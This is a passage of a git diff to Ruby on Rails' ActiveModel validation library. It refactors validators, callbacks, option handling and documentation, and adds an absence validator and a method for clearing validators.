+ VALID_OPTIONS_FOR_VALIDATE = [:on, :if, :unless].freeze
+
# Adds a validation method or block to the class. This is useful when
# overriding the +validate+ instance method becomes too unwieldy and
# you're looking for more descriptive declaration of your validations.
@@ -124,10 +130,11 @@ module ActiveModel
# end
#
# Options:
- # * <tt>:on</tt> - Specifies the context where this validation is active
- # (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt>)
- # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
- # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
+ # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+ # Runs in all validation contexts by default (nil). You can pass a symbol
+ # or an array of symbols. (e.g. <tt>on: :create</tt> or
+ # <tt>on: :custom_validation_context</tt> or
+ # <tt>on: [:create, :custom_validation_context]</tt>)
# * <tt>:if</tt> - Specifies a method, proc or string to call to determine
# if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
# or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
@@ -139,11 +146,23 @@ module ActiveModel
# value.
def validate(*args, &block)
options = args.extract_options!
+
+ if args.all? { |arg| arg.is_a?(Symbol) }
+ options.each_key do |k|
+ unless VALID_OPTIONS_FOR_VALIDATE.include?(k)
+ raise ArgumentError.new("Unknown key: #{k.inspect}. Valid keys are: #{VALID_OPTIONS_FOR_VALIDATE.map(&:inspect).join(', ')}. Perhaps you meant to call `validates` instead of `validate`?")
+ end
+ end
+ end
+
if options.key?(:on)
options = options.dup
options[:if] = Array(options[:if])
- options[:if].unshift("validation_context == :#{options[:on]}")
+ options[:if].unshift ->(o) {
+ Array(options[:on]).include?(o.validation_context)
+ }
end
+
args << options
set_callback(:validate, *args, &block)
end
@@ -169,6 +188,49 @@ module ActiveModel
_validators.values.flatten.uniq
end
+ # Clears all of the validators and validations.
+ #
+ # Note that this will clear anything that is being used to validate
+ # the model for both the +validates_with+ and +validate+ methods.
+ # It clears the validators that are created with an invocation of
+ # +validates_with+ and the callbacks that are set by an invocation
+ # of +validate+.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # validates_with MyValidator
+ # validates_with OtherValidator, on: :create
+ # validates_with StrictValidator, strict: true
+ # validate :cannot_be_robot
+ #
+ # def cannot_be_robot
+ # errors.add(:base, 'A person cannot be a robot') if person_is_robot
+ # end
+ # end
+ #
+ # Person.validators
+ # # => [
+ # # #<MyValidator:0x007fbff403e808 @options={}>,
+ # # #<OtherValidator:0x007fbff403d930 @options={on: :create}>,
+ # # #<StrictValidator:0x007fbff3204a30 @options={strict:true}>
+ # # ]
+ #
+ # If one runs <tt>Person.clear_validators!</tt> and then checks to see what
+ # validators this class has, you would obtain:
+ #
+ # Person.validators # => []
+ #
+ # Also, the callback set by <tt>validate :cannot_be_robot</tt> will be erased
+ # so that:
+ #
+ # Person._validate_callbacks.empty? # => true
+ #
+ def clear_validators!
+ reset_callbacks(:validate)
+ _validators.clear
+ end
+
# List all validators that are being used to validate a specific attribute.
#
# class Person
@@ -183,7 +245,6 @@ module ActiveModel
# Person.validators_on(:name)
# # => [
# # #<ActiveModel::Validations::PresenceValidator:0x007fe604914e60 @attributes=[:name], @options={}>,
- # # #<ActiveModel::Validations::InclusionValidator:0x007fe603bb8780 @attributes=[:age], @options={in:0..99}>
# # ]
def validators_on(*attributes)
attributes.flat_map do |attribute|
@@ -239,6 +300,8 @@ module ActiveModel
# Runs all the specified validations and returns +true+ if no errors were
# added otherwise +false+.
#
+ # Aliased as validate.
+ #
# class Person
# include ActiveModel::Validations
#
@@ -273,6 +336,8 @@ module ActiveModel
self.validation_context = current_context
end
+ alias_method :validate, :valid?
+
# Performs the opposite of <tt>valid?</tt>. Returns +true+ if errors were
# added, +false+ otherwise.
#
@@ -327,13 +392,10 @@ module ActiveModel
protected
def run_validations! #:nodoc:
- run_callbacks :validate
+ _run_validate_callbacks
errors.empty?
end
end
end
-Dir[File.dirname(__FILE__) + "/validations/*.rb"].sort.each do |path|
- filename = File.basename(path)
- require "active_model/validations/#{filename}"
-end
+Dir[File.dirname(__FILE__) + "/validations/*.rb"].each { |file| require file }
diff --git a/activemodel/lib/active_model/validations/absence.rb b/activemodel/lib/active_model/validations/absence.rb
new file mode 100644
index 0000000000..9b5416fb1d
--- /dev/null
+++ b/activemodel/lib/active_model/validations/absence.rb
@@ -0,0 +1,31 @@
+module ActiveModel
+ module Validations
+ # == Active Model Absence Validator
+ class AbsenceValidator < EachValidator #:nodoc:
+ def validate_each(record, attr_name, value)
+ record.errors.add(attr_name, :present, options) if value.present?
+ end
+ end
+
+ module HelperMethods
+ # Validates that the specified attributes are blank (as defined by
+ # Object#blank?). Happens by default on save.
+ #
+ # class Person < ActiveRecord::Base
+ # validates_absence_of :first_name
+ # end
+ #
+ # The first_name attribute must be in the object and it must be blank.
+ #
+ # Configuration options:
+ # * <tt>:message</tt> - A custom error message (default is: "must be blank").
+ #
+ # There is also a list of default options supported by every validator:
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
+ # See <tt>ActiveModel::Validation#validates</tt> for more information
+ def validates_absence_of(*attr_names)
+ validates_with AbsenceValidator, _merge_attributes(attr_names)
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations/acceptance.rb b/activemodel/lib/active_model/validations/acceptance.rb
index 0935ad0d2a..ac5e79859b 100644
--- a/activemodel/lib/active_model/validations/acceptance.rb
+++ b/activemodel/lib/active_model/validations/acceptance.rb
@@ -3,7 +3,8 @@ module ActiveModel
module Validations
class AcceptanceValidator < EachValidator # :nodoc:
def initialize(options)
- super({ :allow_nil => true, :accept => "1" }.merge!(options))
+ super({ allow_nil: true, accept: "1" }.merge!(options))
+ setup!(options[:class])
end
def validate_each(record, attribute, value)
@@ -12,7 +13,8 @@ module ActiveModel
end
end
- def setup(klass)
+ private
+ def setup!(klass)
attr_readers = attributes.reject { |name| klass.attribute_method?(name) }
attr_writers = attributes.reject { |name| klass.attribute_method?("#{name}=") }
klass.send(:attr_reader, *attr_readers)
@@ -36,8 +38,6 @@ module ActiveModel
# Configuration options:
# * <tt>:message</tt> - A custom error message (default is: "must be
# accepted").
- # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default
- # is +true+).
# * <tt>:accept</tt> - Specifies value that is considered accepted.
# The default value is a string "1", which makes it easy to relate to
# an HTML checkbox. This should be set to +true+ if you are validating
@@ -45,8 +45,8 @@ module ActiveModel
# before validation.
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+.
- # See <tt>ActiveModel::Validation#validates</tt> for more information
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
+ # See <tt>ActiveModel::Validation#validates</tt> for more information.
def validates_acceptance_of(*attr_names)
validates_with AcceptanceValidator, _merge_attributes(attr_names)
end
diff --git a/activemodel/lib/active_model/validations/callbacks.rb b/activemodel/lib/active_model/validations/callbacks.rb
index e28ad2841b..25ccabd66b 100644
--- a/activemodel/lib/active_model/validations/callbacks.rb
+++ b/activemodel/lib/active_model/validations/callbacks.rb
@@ -1,6 +1,6 @@
module ActiveModel
module Validations
- # == Active \Model Validation Callbacks
+ # == Active \Model \Validation \Callbacks
#
# Provides an interface for any class to have +before_validation+ and
# +after_validation+ callbacks.
@@ -22,7 +22,10 @@ module ActiveModel
included do
include ActiveSupport::Callbacks
- define_callbacks :validation, :terminator => "result == false", :skip_after_callbacks_if_terminated => true, :scope => [:kind, :name]
+ define_callbacks :validation,
+ terminator: ->(_,result) { result == false },
+ skip_after_callbacks_if_terminated: true,
+ scope: [:kind, :name]
end
module ClassMethods
@@ -55,7 +58,9 @@ module ActiveModel
if options.is_a?(Hash) && options[:on]
options[:if] = Array(options[:if])
options[:on] = Array(options[:on])
- options[:if].unshift("#{options[:on]}.include? self.validation_context")
+ options[:if].unshift ->(o) {
+ options[:on].include? o.validation_context
+ }
end
set_callback(:validation, :before, *args, &block)
end
@@ -93,7 +98,9 @@ module ActiveModel
options[:if] = Array(options[:if])
if options[:on]
options[:on] = Array(options[:on])
- options[:if].unshift("#{options[:on]}.include? self.validation_context")
+ options[:if].unshift ->(o) {
+ options[:on].include? o.validation_context
+ }
end
set_callback(:validation, :after, *(args << options), &block)
end
@@ -103,7 +110,7 @@ module ActiveModel
# Overwrite run validations to include callbacks.
def run_validations! #:nodoc:
- run_callbacks(:validation) { super }
+ _run_validation_callbacks { super }
end
end
end
diff --git a/activemodel/lib/active_model/validations/clusivity.rb b/activemodel/lib/active_model/validations/clusivity.rb
index 3d7067fbcb..bad9e4f9a9 100644
--- a/activemodel/lib/active_model/validations/clusivity.rb
+++ b/activemodel/lib/active_model/validations/clusivity.rb
@@ -3,7 +3,7 @@ require 'active_support/core_ext/range'
module ActiveModel
module Validations
module Clusivity #:nodoc:
- ERROR_MESSAGE = "An object with the method #include? or a proc, lambda or symbol is required, " <<
+ ERROR_MESSAGE = "An object with the method #include? or a proc, lambda or symbol is required, " \
"and must be supplied as the :in (or :within) option of the configuration hash"
def check_validity!
@@ -15,26 +15,36 @@ module ActiveModel
private
def include?(record, value)
- exclusions = if delimiter.respond_to?(:call)
- delimiter.call(record)
- elsif delimiter.respond_to?(:to_sym)
- record.send(delimiter)
- else
- delimiter
- end
+ members = if delimiter.respond_to?(:call)
+ delimiter.call(record)
+ elsif delimiter.respond_to?(:to_sym)
+ record.send(delimiter)
+ else
+ delimiter
+ end
- exclusions.send(inclusion_method(exclusions), value)
+ members.send(inclusion_method(members), value)
end
def delimiter
@delimiter ||= options[:in] || options[:within]
end
- # In Ruby 1.9 <tt>Range#include?</tt> on non-numeric ranges checks all possible values in the
- # range for equality, so it may be slow for large ranges. The new <tt>Range#cover?</tt>
- # uses the previous logic of comparing a value with the range endpoints.
+ # In Ruby 1.9 <tt>Range#include?</tt> on non-number-or-time-ish ranges checks all
+ # possible values in the range for equality, which is slower but more accurate.
+ # <tt>Range#cover?</tt> uses the previous logic of comparing a value with the range
+ # endpoints, which is fast but is only accurate on Numeric, Time, or DateTime ranges.
def inclusion_method(enumerable)
- enumerable.is_a?(Range) ? :cover? : :include?
+ if enumerable.is_a? Range
+ case enumerable.first
+ when Numeric, Time, DateTime
+ :cover?
+ else
+ :include?
+ end
+ else
+ :include?
+ end
end
end
end
diff --git a/activemodel/lib/active_model/validations/confirmation.rb b/activemodel/lib/active_model/validations/confirmation.rb
index 3a3abce364..1b11c28087 100644
--- a/activemodel/lib/active_model/validations/confirmation.rb
+++ b/activemodel/lib/active_model/validations/confirmation.rb
@@ -2,17 +2,27 @@ module ActiveModel
module Validations
class ConfirmationValidator < EachValidator # :nodoc:
+ def initialize(options)
+ super
+ setup!(options[:class])
+ end
+
def validate_each(record, attribute, value)
if (confirmed = record.send("#{attribute}_confirmation")) && (value != confirmed)
human_attribute_name = record.class.human_attribute_name(attribute)
- record.errors.add(:"#{attribute}_confirmation", :confirmation, options.merge(:attribute => human_attribute_name))
+ record.errors.add(:"#{attribute}_confirmation", :confirmation, options.merge(attribute: human_attribute_name))
end
end
- def setup(klass)
- klass.send(:attr_accessor, *attributes.map do |attribute|
+ private
+ def setup!(klass)
+ klass.send(:attr_reader, *attributes.map do |attribute|
:"#{attribute}_confirmation" unless klass.method_defined?(:"#{attribute}_confirmation")
end.compact)
+
+ klass.send(:attr_writer, *attributes.map do |attribute|
+ :"#{attribute}_confirmation" unless klass.method_defined?(:"#{attribute}_confirmation=")
+ end.compact)
end
end
@@ -44,10 +54,10 @@ module ActiveModel
#
# Configuration options:
# * <tt>:message</tt> - A custom error message (default is: "doesn't match
- # confirmation").
+ # <tt>%{translated_attribute_name}</tt>").
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+.
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
# See <tt>ActiveModel::Validation#validates</tt> for more information
def validates_confirmation_of(*attr_names)
validates_with ConfirmationValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/exclusion.rb b/activemodel/lib/active_model/validations/exclusion.rb
index b7f38e48f5..f342d27275 100644
--- a/activemodel/lib/active_model/validations/exclusion.rb
+++ b/activemodel/lib/active_model/validations/exclusion.rb
@@ -8,7 +8,7 @@ module ActiveModel
def validate_each(record, attribute, value)
if include?(record, value)
- record.errors.add(attribute, :exclusion, options.except(:in, :within).merge!(:value => value))
+ record.errors.add(attribute, :exclusion, options.except(:in, :within).merge!(value: value))
end
end
end
@@ -34,13 +34,9 @@ module ActiveModel
# <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>.
# * <tt>:message</tt> - Specifies a custom error message (default is: "is
# reserved").
- # * <tt>:allow_nil</tt> - If set to true, skips this validation if the
- # attribute is +nil+ (default is +false+).
- # * <tt>:allow_blank</tt> - If set to true, skips this validation if the
- # attribute is blank(default is +false+).
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+.
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
# See <tt>ActiveModel::Validation#validates</tt> for more information
def validates_exclusion_of(*attr_names)
validates_with ExclusionValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/format.rb b/activemodel/lib/active_model/validations/format.rb
index 9398b7e66e..02478dd5b6 100644
--- a/activemodel/lib/active_model/validations/format.rb
+++ b/activemodel/lib/active_model/validations/format.rb
@@ -17,8 +17,8 @@ module ActiveModel
raise ArgumentError, "Either :with or :without must be supplied (but not both)"
end
- check_options_validity(options, :with)
- check_options_validity(options, :without)
+ check_options_validity :with
+ check_options_validity :without
end
private
@@ -29,30 +29,32 @@ module ActiveModel
end
def record_error(record, attribute, name, value)
- record.errors.add(attribute, :invalid, options.except(name).merge!(:value => value))
+ record.errors.add(attribute, :invalid, options.except(name).merge!(value: value))
end
- def regexp_using_multiline_anchors?(regexp)
- regexp.source.start_with?("^") ||
- (regexp.source.end_with?("$") && !regexp.source.end_with?("\\$"))
+ def check_options_validity(name)
+ if option = options[name]
+ if option.is_a?(Regexp)
+ if options[:multiline] != true && regexp_using_multiline_anchors?(option)
+ raise ArgumentError, "The provided regular expression is using multiline anchors (^ or $), " \
+ "which may present a security risk. Did you mean to use \\A and \\z, or forgot to add the " \
+ ":multiline => true option?"
+ end
+ elsif !option.respond_to?(:call)
+ raise ArgumentError, "A regular expression or a proc or lambda must be supplied as :#{name}"
+ end
+ end
end
- def check_options_validity(options, name)
- option = options[name]
- if option && !option.is_a?(Regexp) && !option.respond_to?(:call)
- raise ArgumentError, "A regular expression or a proc or lambda must be supplied as :#{name}"
- elsif option && option.is_a?(Regexp) &&
- regexp_using_multiline_anchors?(option) && options[:multiline] != true
- raise ArgumentError, "The provided regular expression is using multiline anchors (^ or $), " \
- "which may present a security risk. Did you mean to use \\A and \\z, or forgot to add the " \
- ":multiline => true option?"
- end
+ def regexp_using_multiline_anchors?(regexp)
+ source = regexp.source
+ source.start_with?("^") || (source.end_with?("$") && !source.end_with?("\\$"))
end
end
module HelperMethods
# Validates whether the value of the specified attribute is of the correct
- # form, going by the regular expression provided.You can require that the
+ # form, going by the regular expression provided. You can require that the
# attribute matches the regular expression:
#
# class Person < ActiveRecord::Base
@@ -89,10 +91,6 @@ module ActiveModel
#
# Configuration options:
# * <tt>:message</tt> - A custom error message (default is: "is invalid").
- # * <tt>:allow_nil</tt> - If set to true, skips this validation if the
- # attribute is +nil+ (default is +false+).
- # * <tt>:allow_blank</tt> - If set to true, skips this validation if the
- # attribute is blank (default is +false+).
# * <tt>:with</tt> - Regular expression that if the attribute matches will
# result in a successful validation. This can be provided as a proc or
# lambda returning regular expression which will be called at runtime.
@@ -105,7 +103,7 @@ module ActiveModel
# beginning or end of the string. These anchors are <tt>^</tt> and <tt>$</tt>.
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+.
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
# See <tt>ActiveModel::Validation#validates</tt> for more information
def validates_format_of(*attr_names)
validates_with FormatValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb
index 5e45a04c2c..c84025f083 100644
--- a/activemodel/lib/active_model/validations/inclusion.rb
+++ b/activemodel/lib/active_model/validations/inclusion.rb
@@ -8,7 +8,7 @@ module ActiveModel
def validate_each(record, attribute, value)
unless include?(record, value)
- record.errors.add(attribute, :inclusion, options.except(:in, :within).merge!(:value => value))
+ record.errors.add(attribute, :inclusion, options.except(:in, :within).merge!(value: value))
end
end
end
@@ -28,18 +28,15 @@ module ActiveModel
# Configuration options:
# * <tt>:in</tt> - An enumerable object of available items. This can be
# supplied as a proc, lambda or symbol which returns an enumerable. If the
- # enumerable is a range the test is performed with <tt>Range#cover?</tt>,
- # otherwise with <tt>include?</tt>.
+ # enumerable is a numerical range the test is performed with <tt>Range#cover?</tt>,
+ # otherwise with <tt>include?</tt>. When using a proc or lambda the instance
+ # under validation is passed as an argument.
# * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
# * <tt>:message</tt> - Specifies a custom error message (default is: "is
# not included in the list").
- # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the
- # attribute is +nil+ (default is +false+).
- # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the
- # attribute is blank (default is +false+).
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+.
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
# See <tt>ActiveModel::Validation#validates</tt> for more information
def validates_inclusion_of(*attr_names)
validates_with InclusionValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb
index 675fb5f1e5..a96b30cadd 100644
--- a/activemodel/lib/active_model/validations/length.rb
+++ b/activemodel/lib/active_model/validations/length.rb
@@ -1,10 +1,10 @@
module ActiveModel
- # == Active \Model Length \Validator
+ # == Active \Model Length Validator
module Validations
class LengthValidator < EachValidator # :nodoc:
- MESSAGES = { :is => :wrong_length, :minimum => :too_short, :maximum => :too_long }.freeze
- CHECKS = { :is => :==, :minimum => :>=, :maximum => :<= }.freeze
+ MESSAGES = { is: :wrong_length, minimum: :too_short, maximum: :too_long }.freeze
+ CHECKS = { is: :==, minimum: :>=, maximum: :<= }.freeze
RESERVED_OPTIONS = [:minimum, :maximum, :within, :is, :tokenizer, :too_short, :too_long]
diff --git a/activemodel/lib/active_model/validations/numericality.rb b/activemodel/lib/active_model/validations/numericality.rb
index 744c196d30..4ba4e3e8f7 100644
--- a/activemodel/lib/active_model/validations/numericality.rb
+++ b/activemodel/lib/active_model/validations/numericality.rb
@@ -2,26 +2,31 @@ module ActiveModel
module Validations
class NumericalityValidator < EachValidator # :nodoc:
- CHECKS = { :greater_than => :>, :greater_than_or_equal_to => :>=,
- :equal_to => :==, :less_than => :<, :less_than_or_equal_to => :<=,
- :odd => :odd?, :even => :even?, :other_than => :!= }.freeze
+ CHECKS = { greater_than: :>, greater_than_or_equal_to: :>=,
+ equal_to: :==, less_than: :<, less_than_or_equal_to: :<=,
+ odd: :odd?, even: :even?, other_than: :!= }.freeze
RESERVED_OPTIONS = CHECKS.keys + [:only_integer]
def check_validity!
keys = CHECKS.keys - [:odd, :even]
options.slice(*keys).each do |option, value|
- next if value.is_a?(Numeric) || value.is_a?(Proc) || value.is_a?(Symbol)
- raise ArgumentError, ":#{option} must be a number, a symbol or a proc"
+ unless value.is_a?(Numeric) || value.is_a?(Proc) || value.is_a?(Symbol)
+ raise ArgumentError, ":#{option} must be a number, a symbol or a proc"
+ end
end
end
def validate_each(record, attr_name, value)
- before_type_cast = "#{attr_name}_before_type_cast"
+ before_type_cast = :"#{attr_name}_before_type_cast"
- raw_value = record.send(before_type_cast) if record.respond_to?(before_type_cast.to_sym)
+ raw_value = record.send(before_type_cast) if record.respond_to?(before_type_cast)
raw_value ||= value
+ if record_attribute_changed_in_place?(record, attr_name)
+ raw_value = value
+ end
+
return if options[:allow_nil] && raw_value.nil?
unless value = parse_raw_value_as_a_number(raw_value)
@@ -29,7 +34,7 @@ module ActiveModel
return
end
- if options[:only_integer]
+ if allow_only_integer?(record)
unless value = parse_raw_value_as_an_integer(raw_value)
record.errors.add(attr_name, :not_an_integer, filtered_options(raw_value))
return
@@ -43,11 +48,15 @@ module ActiveModel
record.errors.add(attr_name, option, filtered_options(value))
end
else
- option_value = option_value.call(record) if option_value.is_a?(Proc)
- option_value = record.send(option_value) if option_value.is_a?(Symbol)
+ case option_value
+ when Proc
+ option_value = option_value.call(record)
+ when Symbol
+ option_value = record.send(option_value)
+ end
unless value.send(CHECKS[option], option_value)
- record.errors.add(attr_name, option, filtered_options(value).merge(:count => option_value))
+ record.errors.add(attr_name, option, filtered_options(value).merge!(count: option_value))
end
end
end
@@ -56,24 +65,37 @@ module ActiveModel
protected
def parse_raw_value_as_a_number(raw_value)
- case raw_value
- when /\A0[xX]/
- nil
- else
- begin
- Kernel.Float(raw_value)
- rescue ArgumentError, TypeError
- nil
- end
- end
+ Kernel.Float(raw_value) if raw_value !~ /\A0[xX]/
+ rescue ArgumentError, TypeError
+ nil
end
def parse_raw_value_as_an_integer(raw_value)
- raw_value.to_i if raw_value.to_s =~ /\A[+-]?\d+\Z/
+ raw_value.to_i if raw_value.to_s =~ /\A[+-]?\d+\z/
end
def filtered_options(value)
- options.except(*RESERVED_OPTIONS).merge!(:value => value)
+ filtered = options.except(*RESERVED_OPTIONS)
+ filtered[:value] = value
+ filtered
+ end
+
+ def allow_only_integer?(record)
+ case options[:only_integer]
+ when Symbol
+ record.send(options[:only_integer])
+ when Proc
+ options[:only_integer].call(record)
+ else
+ options[:only_integer]
+ end
+ end
+
+ private
+
+ def record_attribute_changed_in_place?(record, attr_name)
+ record.respond_to?(:attribute_changed_in_place?) &&
+ record.attribute_changed_in_place?(attr_name.to_s)
end
end
@@ -110,7 +132,7 @@ module ActiveModel
# * <tt>:even</tt> - Specifies the value must be an even number.
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+ .
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+ .
# See <tt>ActiveModel::Validation#validates</tt> for more information
#
# The following checks can also be supplied with a proc or a symbol which
@@ -121,6 +143,7 @@ module ActiveModel
# * <tt>:equal_to</tt>
# * <tt>:less_than</tt>
# * <tt>:less_than_or_equal_to</tt>
+ # * <tt>:only_integer</tt>
#
# For example:
#
diff --git a/activemodel/lib/active_model/validations/presence.rb b/activemodel/lib/active_model/validations/presence.rb
index ae84c376b9..5d593274eb 100644
--- a/activemodel/lib/active_model/validations/presence.rb
+++ b/activemodel/lib/active_model/validations/presence.rb
@@ -3,8 +3,8 @@ module ActiveModel
module Validations
class PresenceValidator < EachValidator # :nodoc:
- def validate(record)
- record.errors.add_on_blank(attributes, options)
+ def validate_each(record, attr_name, value)
+ record.errors.add(attr_name, :blank, options) if value.blank?
end
end
@@ -29,7 +29,7 @@ module ActiveModel
# * <tt>:message</tt> - A custom error message (default is: "can't be blank").
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+.
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
# See <tt>ActiveModel::Validation#validates</tt> for more information
def validates_presence_of(*attr_names)
validates_with PresenceValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb
index 1eb0716891..bda436d8d0 100644
--- a/activemodel/lib/active_model/validations/validates.rb
+++ b/activemodel/lib/active_model/validations/validates.rb
@@ -13,7 +13,7 @@ module ActiveModel
# validates :terms, acceptance: true
# validates :password, confirmation: true
# validates :username, exclusion: { in: %w(admin superuser) }
- # validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, on: :create }
+ # validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i, on: :create }
# validates :age, inclusion: { in: 0..9 }
# validates :first_name, length: { maximum: 30 }
# validates :age, numericality: true
@@ -71,9 +71,11 @@ module ActiveModel
#
# There is also a list of options that could be used along with validators:
#
- # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
- # validation contexts by default (+nil+), other options are <tt>:create</tt>
- # and <tt>:update</tt>.
+ # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+ # Runs in all validation contexts by default (nil). You can pass a symbol
+ # or an array of symbols. (e.g. <tt>on: :create</tt> or
+ # <tt>on: :custom_validation_context</tt> or
+ # <tt>on: [:create, :custom_validation_context]</tt>)
# * <tt>:if</tt> - Specifies a method, proc or string to call to determine
# if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
# or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
@@ -83,7 +85,9 @@ module ActiveModel
# or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
# method, proc or string should return or evaluate to a +true+ or
# +false+ value.
- # * <tt>:strict</tt> - if the <tt>:strict</tt> option is set to true
+ # * <tt>:allow_nil</tt> - Skip validation if the attribute is +nil+.
+ # * <tt>:allow_blank</tt> - Skip validation if the attribute is blank.
+ # * <tt>:strict</tt> - If the <tt>:strict</tt> option is set to true
# will raise ActiveModel::StrictValidationFailed instead of adding the error.
# <tt>:strict</tt> option can also be set to any other exception.
#
@@ -159,9 +163,9 @@ module ActiveModel
when Hash
options
when Range, Array
- { :in => options }
+ { in: options }
else
- { :with => options }
+ { with: options }
end
end
end
diff --git a/activemodel/lib/active_model/validations/with.rb b/activemodel/lib/active_model/validations/with.rb
index 2ae335d0f4..a2531327bf 100644
--- a/activemodel/lib/active_model/validations/with.rb
+++ b/activemodel/lib/active_model/validations/with.rb
@@ -52,8 +52,11 @@ module ActiveModel
# end
#
# Configuration options:
- # * <tt>:on</tt> - Specifies when this validation is active
- # (<tt>:create</tt> or <tt>:update</tt>.
+ # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+ # Runs in all validation contexts by default (nil). You can pass a symbol
+ # or an array of symbols. (e.g. <tt>on: :create</tt> or
+ # <tt>on: :custom_validation_context</tt> or
+ # <tt>on: [:create, :custom_validation_context]</tt>)
# * <tt>:if</tt> - Specifies a method, proc or string to call to determine
# if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
# or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>).
@@ -83,9 +86,10 @@ module ActiveModel
# end
def validates_with(*args, &block)
options = args.extract_options!
+ options[:class] = self
+
args.each do |klass|
validator = klass.new(options, &block)
- validator.setup(self) if validator.respond_to?(:setup)
if validator.respond_to?(:attributes) && !validator.attributes.empty?
validator.attributes.each do |attribute|
@@ -138,6 +142,8 @@ module ActiveModel
# class version of this method for more information.
def validates_with(*args, &block)
options = args.extract_options!
+ options[:class] = self.class
+
args.each do |klass|
validator = klass.new(options, &block)
validator.validate(self)
diff --git a/activemodel/lib/active_model/validator.rb b/activemodel/lib/active_model/validator.rb
index ff3dfa01c8..0116de68ab 100644
--- a/activemodel/lib/active_model/validator.rb
+++ b/activemodel/lib/active_model/validator.rb
@@ -60,6 +60,9 @@ module ActiveModel
# end
# end
#
+ # Note that the validator is initialized only once for the whole application
+ # life cycle, and not on each validation run.
+ #
# The easiest way to add custom validators for validating individual attributes
# is with the convenient <tt>ActiveModel::EachValidator</tt>.
#
@@ -76,21 +79,19 @@ module ActiveModel
# include ActiveModel::Validations
# attr_accessor :title
#
- # validates :title, presence: true
+ # validates :title, presence: true, title: true
# end
#
- # Validator may also define a +setup+ instance method which will get called
- # with the class that using that validator as its argument. This can be
- # useful when there are prerequisites such as an +attr_accessor+ being present.
+ # It can be useful to access the class that is using that validator when there are prerequisites such
+ # as an +attr_accessor+ being present. This class is accessible via +options[:class]+ in the constructor.
+ # To setup your validator override the constructor.
#
# class MyValidator < ActiveModel::Validator
- # def setup(klass)
- # klass.send :attr_accessor, :custom_attribute
+ # def initialize(options={})
+ # super
+ # options[:class].send :attr_accessor, :custom_attribute
# end
# end
- #
- # This setup method is only called when used with validation macros or the
- # class level <tt>validates_with</tt> method.
class Validator
attr_reader :options
@@ -103,14 +104,14 @@ module ActiveModel
end
# Accepts options that will be made available through the +options+ reader.
- def initialize(options)
- @options = options.freeze
+ def initialize(options = {})
+ @options = options.except(:class).freeze
end
- # Return the kind for this validator.
+ # Returns the kind for this validator.
#
# PresenceValidator.new.kind # => :presence
- # UniquenessValidator.new.kind # => :uniqueness
+ # UniquenessValidator.new.kind # => :uniqueness
def kind
self.class.kind
end
diff --git a/activemodel/lib/active_model/version.rb b/activemodel/lib/active_model/version.rb
index e195c12a4d..b1f9082ea7 100644
--- a/activemodel/lib/active_model/version.rb
+++ b/activemodel/lib/active_model/version.rb
@@ -1,10 +1,8 @@
-module ActiveModel
- module VERSION #:nodoc:
- MAJOR = 4
- MINOR = 0
- TINY = 0
- PRE = "beta"
+require_relative 'gem_version'
- STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
+module ActiveModel
+ # Returns the version of the currently loaded ActiveModel as a <tt>Gem::Version</tt>
+ def self.version
+ gem_version
end
end
diff --git a/activemodel/test/cases/attribute_methods_test.rb b/activemodel/test/cases/attribute_methods_test.rb
index baaf842222..e81b7ac424 100644
--- a/activemodel/test/cases/attribute_methods_test.rb
+++ b/activemodel/test/cases/attribute_methods_test.rb
@@ -10,7 +10,7 @@ class ModelWithAttributes
end
def attributes
- { :foo => 'value of foo', :baz => 'value of baz' }
+ { foo: 'value of foo', baz: 'value of baz' }
end
private
